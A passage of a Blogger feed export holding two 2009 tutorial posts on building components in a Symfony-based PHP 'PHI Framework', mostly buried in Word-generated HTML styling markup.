class="NoSpacing" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"   &gt;&lt;h1&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h1&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="NoSpacing" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"   &gt;&lt;span style=""&gt;    &lt;/span&gt;componentData ?&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="NoSpacing" style="margin-left: 0.5in;"&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"   &gt;&lt;/span&gt; &lt;span style=";font-family:Arial;font-size:9;color:gray;"   &gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpFirst"&gt;&lt;i style=""&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpMiddle" style="margin-bottom: 10pt; text-indent: -0.25in; line-height: 115%;"&gt;&lt;!--[if !supportLists]--&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;3.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-GB"&gt;Define the “Hello World” component Module Mapping.&lt;span style=""&gt;  &lt;/span&gt;Add the following line to the &lt;i style=""&gt;$COMPONENT_MODULE_MAP&lt;/i&gt; array in the&lt;i style=""&gt; $PHI_HOME/main/lib/componentModuleMap.class.php &lt;/i&gt;file.&lt;i style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpMiddle"&gt;&lt;i style=""&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpMiddle" style="margin-left: 1in;"&gt;&lt;i style=""&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;‘helloWorld’&lt;span style=""&gt;     &lt;/span&gt;=&gt; ‘app’&lt;/span&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpMiddle"&gt;&lt;i style=""&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpMiddle" style="margin-bottom: 10pt; text-indent: -0.25in; line-height: 115%;"&gt;&lt;!--[if !supportLists]--&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;4.&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;       &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-GB"&gt;Create the “helloworld.php” Web Page in the &lt;i style=""&gt;$PHI_HOME/web &lt;/i&gt;directory. Add the following code to create a “2Col” Layout which has the “Hello World” component in the second column.&lt;i style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpMiddle"&gt;&lt;i style=""&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpMiddle" style="margin-left: 1in;"&gt;&lt;i style=""&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpMiddle" style="margin-left: 1in;"&gt;&lt;i style=""&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;  &lt;/span&gt;$pgModel-&gt;layout= ‘1Col’;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpLast" style="margin-left: 1in;"&gt;&lt;i style=""&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;span style=""&gt;  &lt;/span&gt;$pgModel-&gt;addComponentLocation('helloWorld','body',2,1);&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p class="ListParagraphCxSpLast" style="margin-left: 1in;"&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face  {font-family:Cambria;  panose-1:2 4 5 3 5 4 6 3 2 4;  mso-font-charset:0;  mso-generic-font-family:roman;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1073741899 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} a:link, span.MsoHyperlink  {font-family:Arial;  mso-ascii-font-family:Arial;  mso-hansi-font-family:Arial;  mso-bidi-font-family:"Times New Roman";  text-decoration:underline;  text-underline:single;} a:visited, span.MsoHyperlinkFollowed  {text-decoration:underline;  text-underline:single;} p.ListParagraph, li.ListParagraph, div.ListParagraph  {mso-style-name:"List Paragraph";  mso-style-link:"List Paragraph Char";  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpFirst, li.ListParagraphCxSpFirst, div.ListParagraphCxSpFirst  {mso-style-name:"List ParagraphCxSpFirst";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpMiddle, li.ListParagraphCxSpMiddle, div.ListParagraphCxSpMiddle  {mso-style-name:"List ParagraphCxSpMiddle";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpLast, li.ListParagraphCxSpLast, div.ListParagraphCxSpLast  {mso-style-name:"List ParagraphCxSpLast";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} span.ListParagraphChar  {mso-style-name:"List Paragraph Char";  mso-style-locked:yes;  mso-style-link:"List Paragraph";  mso-ansi-font-size:11.0pt;  font-family:Cambria;  mso-ascii-font-family:Cambria;  mso-hansi-font-family:Cambria;  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;  mso-bidi-language:AR-SA;} @page Section1  {size:8.5in 11.0in;  margin:1.0in 1.0in 1.0in 1.0in;  mso-header-margin:.5in;  mso-footer-margin:0in;  mso-paper-source:0;} div.Section1  {page:Section1;  mso-footnote-position:beneath-text;}  /* List Definitions */  @list l0  {mso-list-id:1584875227;  mso-list-type:hybrid;  mso-list-template-ids:-487925106 67698703 67698713 67698715 67698703 67698713 67698715 67698703 67698713 67698715;} @list l0:level1  {mso-level-tab-stop:none;  mso-level-number-position:left;  text-indent:-.25in;  mso-bidi-font-family:"Times New Roman";} ol  {margin-bottom:0in;} ul  {margin-bottom:0in;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;/p&gt;&lt;p class="ListParagraphCxSpFirst" style="margin-left: 1in;"&gt;&lt;i style=""&gt;&lt;span style="font-size: 9pt; font-family: Arial; color: gray;" lang="EN-GB"&gt;?&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;&lt;p class="ListParagraphCxSpFirst" style="margin-left: 1in;"&gt;&lt;br /&gt;&lt;i style=""&gt;&lt;span style="font-size: 9pt; font-family: Arial; color: gray;" lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpLast" style="margin-bottom: 10pt; text-indent: -0.25in; line-height: 115%;"&gt;&lt;!--[if !supportLists]--&gt;&lt;i style=""&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;&lt;span style="font-family: &amp;quot;Times New Roman&amp;quot;; font-style: normal; font-variant: normal; font-weight: normal; font-size: 7pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span lang="EN-GB"&gt;Open a browser and goto &lt;a href="http://yswa01.yousendit.com/web/helloworld.html"&gt;&lt;span style="font-family: Arial;"&gt;http://localhost/web/helloworld.html&lt;/span&gt;&lt;/a&gt; to view your component.&lt;i style=""&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/span&gt;&lt;/p&gt; &lt;br /&gt;&lt;i style=""&gt;&lt;span style=";font-family:Arial;font-size:9;color:gray;"    lang="EN-GB"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/i&gt;&lt;p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8597215226185720321-1918877685482192266?l=opensourceconcepts.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://opensourceconcepts.blogspot.com/feeds/1918877685482192266/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/symfony-sample-application.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1918877685482192266'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8597215226185720321/posts/default/1918877685482192266'/><link rel='alternate' type='text/html' href='http://opensourceconcepts.blogspot.com/2009/03/symfony-sample-application.html' title='Symfony - A Sample Application'/><author><name>AmyAgs</name><uri>http://www.blogger.com/profile/14934123285352329996</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='28' height='32' src='http://1.bp.blogspot.com/_oeqlq2e5Ncs/ScybjtN4YRI/AAAAAAAAAAU/rv12ouBSk30/S220/ep.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8597215226185720321.post-7237334490446075427</id><published>2009-03-30T02:41:00.000-07:00</published><updated>2009-03-30T03:24:51.318-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Symfony'/><title type='text'>Symfony - An Introduction</title><content type='html'>&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face  {font-family:Cambria;  panose-1:2 4 5 3 5 4 6 3 2 4;  mso-font-charset:0;  mso-generic-font-family:roman;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1073741899 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.MsoBodyText, li.MsoBodyText, div.MsoBodyText  {margin-top:0in;  margin-right:0in;  margin-bottom:6.0pt;  margin-left:0in;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraph, li.ListParagraph, div.ListParagraph  {mso-style-name:"List Paragraph";  mso-style-link:"List Paragraph Char";  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpFirst, li.ListParagraphCxSpFirst, div.ListParagraphCxSpFirst  {mso-style-name:"List ParagraphCxSpFirst";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpMiddle, li.ListParagraphCxSpMiddle, div.ListParagraphCxSpMiddle  {mso-style-name:"List ParagraphCxSpMiddle";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} p.ListParagraphCxSpLast, li.ListParagraphCxSpLast, div.ListParagraphCxSpLast  {mso-style-name:"List ParagraphCxSpLast";  mso-style-link:"List Paragraph Char";  mso-style-type:export-only;  margin-top:0in;  margin-right:0in;  margin-bottom:0in;  margin-left:.5in;  margin-bottom:.0001pt;  mso-add-space:auto;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} span.ListParagraphChar  {mso-style-name:"List Paragraph Char";  mso-style-locked:yes;  mso-style-link:"List Paragraph";  mso-ansi-font-size:11.0pt;  font-family:Cambria;  mso-ascii-font-family:Cambria;  mso-hansi-font-family:Cambria;  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;  mso-bidi-language:AR-SA;} @page Section1  {size:8.5in 11.0in;  margin:1.0in 1.25in 1.0in 1.25in;  mso-header-margin:.5in;  mso-footer-margin:.5in;  mso-paper-source:0;} div.Section1  {page:Section1;}  /* List Definitions */  @list l0  {mso-list-id:284308810;  mso-list-type:hybrid;  mso-list-template-ids:785930922 67698689 67698691 67698693 67698689 67698691 67698693 67698689 67698691 67698693;} @list l0:level1  {mso-level-number-format:bullet;  mso-level-text:;  mso-level-tab-stop:none;  mso-level-number-position:left;  text-indent:-.25in;  font-family:Symbol;} @list l0:level2  {mso-level-tab-stop:1.0in;  mso-level-number-position:left;  text-indent:-.25in;  mso-bidi-font-family:"Times New Roman";} @list l0:level3  {mso-level-tab-stop:1.5in;  mso-level-number-position:left;  text-indent:-.25in;  mso-bidi-font-family:"Times New Roman";} @list l0:level4  {mso-level-tab-stop:2.0in;  mso-level-number-position:left;  text-indent:-.25in;  mso-bidi-font-family:"Times New Roman";} @list l0:level5  {mso-level-tab-stop:2.5in;  mso-level-number-position:left;  text-indent:-.25in;  mso-bidi-font-family:"Times New Roman";} @list l0:level6  {mso-level-tab-stop:3.0in;  mso-level-number-position:left;  text-indent:-.25in;  mso-bidi-font-family:"Times New Roman";} @list l0:level7  {mso-level-tab-stop:3.5in;  mso-level-number-position:left;  text-indent:-.25in;  mso-bidi-font-family:"Times New Roman";} @list l0:level8  {mso-level-tab-stop:4.0in;  mso-level-number-position:left;  text-indent:-.25in;  mso-bidi-font-family:"Times New Roman";} @list l0:level9  {mso-level-tab-stop:4.5in;  mso-level-number-position:left;  text-indent:-.25in;  mso-bidi-font-family:"Times New Roman";} @list l0:level1 lfo1  {mso-level-start-at:0;} ol  {margin-bottom:0in;} ul  {margin-bottom:0in;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class="MsoBodyText"&gt;&lt;span style="" lang="EN-CA"&gt;There are two types of component in the PHI Framework:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpFirst" style="margin-bottom: 12pt; text-indent: -0.25in; line-height: 115%;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-GB" style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;i style=""&gt;&lt;span lang="EN-GB"&gt;Application Components&lt;/span&gt;&lt;/i&gt;&lt;span lang="EN-GB"&gt; - Component which will be used to build the application.&lt;span style=""&gt;  &lt;/span&gt;Some examples are My Files, Contacts, Send File, Account Usage, etc.&lt;/span&gt;&lt;/p&gt;  &lt;p class="ListParagraphCxSpLast" style="margin-bottom: 12pt; text-indent: -0.25in; line-height: 115%;"&gt;&lt;!--[if !supportLists]--&gt;&lt;span  lang="EN-GB" style="font-family:Symbol;"&gt;&lt;span style=""&gt;·&lt;span style=";font-family:&amp;quot;;font-size:7;"  &gt;         &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;&lt;span lang="EN-GB"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;i style=""&gt;Framework Components&lt;/i&gt;&lt;span style=""&gt;   &lt;/span&gt;- the set of components which are used to build the web site.&lt;span style=""&gt;  &lt;/span&gt;This includes such components as the Banner, Header, Footer, LeftNav, TopNav, etc.&lt;/span&gt;&lt;/p&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face  {font-family:Cambria;  panose-1:2 4 5 3 5 4 6 3 2 4;  mso-font-charset:0;  mso-generic-font-family:roman;  mso-font-pitch:variable;  mso-font-signature:-1610611985 1073741899 0 0 159 0;}  /* Style Definitions */  p.MsoNormal, li.MsoNormal, div.MsoNormal  {mso-style-parent:"";  margin:0in;  margin-bottom:.0001pt;  mso-pagination:widow-orphan;  mso-hyphenate:none;  font-size:11.0pt;  mso-bidi-font-size:10.0pt;  font-family:Cambria;  mso-fareast-font-family:"Times New Roman";  mso-bidi-font-family:Arial;  mso-ansi-language:EN-GB;  mso-fareast-language:AR-SA;} @page Section1  {size:8.5in 11.0in;  margin:1.0in 1.25in 1.0in 1.25in;  mso-header-margin:.5in;  mso-footer-margin:.5in;  mso-paper-source:0;} div.Section1  {page:Section1;} --&gt; &lt;/style&gt;&lt;!--[if gte mso 10]&gt; &lt;style&gt;  /* Style Definitions */  table.MsoNormalTable  {mso-style-name:"Table Normal";  mso-tstyle-rowband-size:0;  mso-tstyle-colband-size:0;  mso-style-noshow:yes;  mso-style-parent:"";  mso-padding-alt:0in 5.4pt 0in 5.4pt;  mso-para-margin:0in;  mso-para-margin-bottom:.0001pt;  mso-pagination:widow-orphan;  font-size:10.0pt;  font-family:"Times New Roman";  mso-ansi-language:#0400;  mso-fareast-language:#0400;  mso-bidi-language:#0400;} &lt;/style&gt; &lt;![endif]--&gt;  &lt;p class="MsoNormal"&gt;&lt;span style="font-weight: bold;"&gt;Symfony directory structure:&lt;/span&gt;&lt;br /&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span lang="EN-GB"&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span lang="EN-GB"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span lang="EN-GB"&gt;$SYMFONY_HOME/apps/main/modules/app&lt;/span&gt;&lt;/i&gt;&lt;span lang="EN-GB"&gt; &lt;/span&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt;- base directory for Application Components.&lt;span style=""&gt;  &lt;/span&gt;This directory will be referred to as the $APP_BASE directory.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;span lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span lang="EN-GB"&gt;$SYMFONY_HOME&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;b style=""&gt;&lt;i style=""&gt;&lt;span lang="EN-GB"&gt;/apps/main/modules/framework&lt;/span&gt;&lt;/i&gt;&lt;/b&gt;&lt;span lang="EN-GB"&gt; – base directory for Framework Components. This directory will be referred to as the $FRAMEWORK_BASE directory.&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;br /&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oeqlq2e5Ncs/SdCWBeQ7-tI/AAAAAAAAABQ/E0LEbfGzy3I/s1600-h/clip_image002.jpg"&gt;&lt;img style="cursor: pointer; width: 435px; height: 154px;" src="http://3.bp.blogspot.com/_oeqlq2e5Ncs/SdCWBeQ7-tI/AAAAAAAAABQ/E0LEbfGzy3I/s320/clip_image002.jpg" alt="" id="BLOGGER_PHOTO_ID_5318916111972694738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span lang="EN-GB"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;!--[if !mso]&gt; &lt;style&gt; v\:* {behavior:url(#default#VML);} o\:* {behavior:url(#default#VML);} w\:* {behavior:url(#default#VML);} .shape {behavior:url(#default#VML);} &lt;/style&gt; &lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:worddocument&gt;   &lt;w:view&gt;Normal&lt;/w:View&gt;   &lt;w:zoom&gt;0&lt;/w:Zoom&gt;   &lt;w:punctuationkerning/&gt;   &lt;w:validateagainstschemas/&gt;   &lt;w:saveifxmlinvalid&gt;false&lt;/w:SaveIfXMLInvalid&gt;   &lt;w:ignoremixedcontent&gt;false&lt;/w:IgnoreMixedContent&gt;   &lt;w:alwaysshowplaceholdertext&gt;false&lt;/w:AlwaysShowPlaceholderText&gt;   &lt;w:compatibility&gt;    &lt;w:breakwrappedtables/&gt;    &lt;w:snaptogridincell/&gt;    &lt;w:wraptextwithpunct/&gt;    &lt;w:useasianbreakrules/&gt;    &lt;w:dontgrowautofit/&gt;   &lt;/w:Compatibility&gt;   &lt;w:browserlevel&gt;MicrosoftInternetExplorer4&lt;/w:BrowserLevel&gt;  &lt;/w:WordDocument&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;  &lt;w:latentstyles deflockedstate="false" latentstylecount="156"&gt;  &lt;/w:LatentStyles&gt; &lt;/xml&gt;&lt;![endif]--&gt;&lt;style&gt; &lt;!--  /* Font Definitions */  @font-face  {font-family:Cambria;  panose-1:2 4 5 3 5 4 6 3 2 4;  mso-font-charset:0;  mso-generic-font-family:roman;  